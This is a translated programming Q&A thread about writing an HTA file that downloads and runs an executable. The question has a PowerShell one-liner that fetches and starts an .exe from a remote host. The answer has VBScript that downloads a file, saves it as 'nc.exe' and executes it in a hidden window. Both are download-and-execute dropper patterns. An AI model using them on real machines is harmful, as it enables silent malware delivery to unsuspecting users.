2017-05-10 22 views
0

我正在尝试使用hta下载和打开文件。使用HTA下载并执行

我试了下面的代码,没有运气。

<script> 
a=new ActiveXObject("WScript.Shell"); 
run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.greyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe'",vbNormalFocus) 
</script> 

可有人请与一件好事
THX帮助。

我收到以下错误。 Script Error Image

当我点击yes时,它只显示一个空白的hta控制台。

+0

您是否可以提供有关发生什么问题或您收到什么输出的更多信息? –

+0

VB常量没有在JS中定义。 – Teemu

+0

你可以帮助定义VB常量吗? – Makanaki

回答

1

为什么不使用正常的Get/Post请求,保存文件然后执行它?

dim http_obj 
dim stream_obj 
dim shell_obj 

set http_obj = CreateObject("Microsoft.XMLHTTP") 
set stream_obj = CreateObject("ADODB.Stream") 
set Shell = CreateObject("shell.application") 

URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from 
FILENAME = "nc.exe" 'Name to save the file (on the local system) 
Params = "-param1 -param2" 'Command to run after downloading 

http_obj.open "GET", URL, False 
http_obj.send 

stream_obj.type = 1 
stream_obj.open 
stream_obj.write http_obj.responseBody 
stream_obj.savetofile FILENAME, 2 

Shell.ShellExecute FILENAME , Params , "" , "" , 0 

接到http://www.mikemurr.com/vbscript-download-and-execute-file/ 一些变造的大部分代码为HTA不是纯粹的VBScript。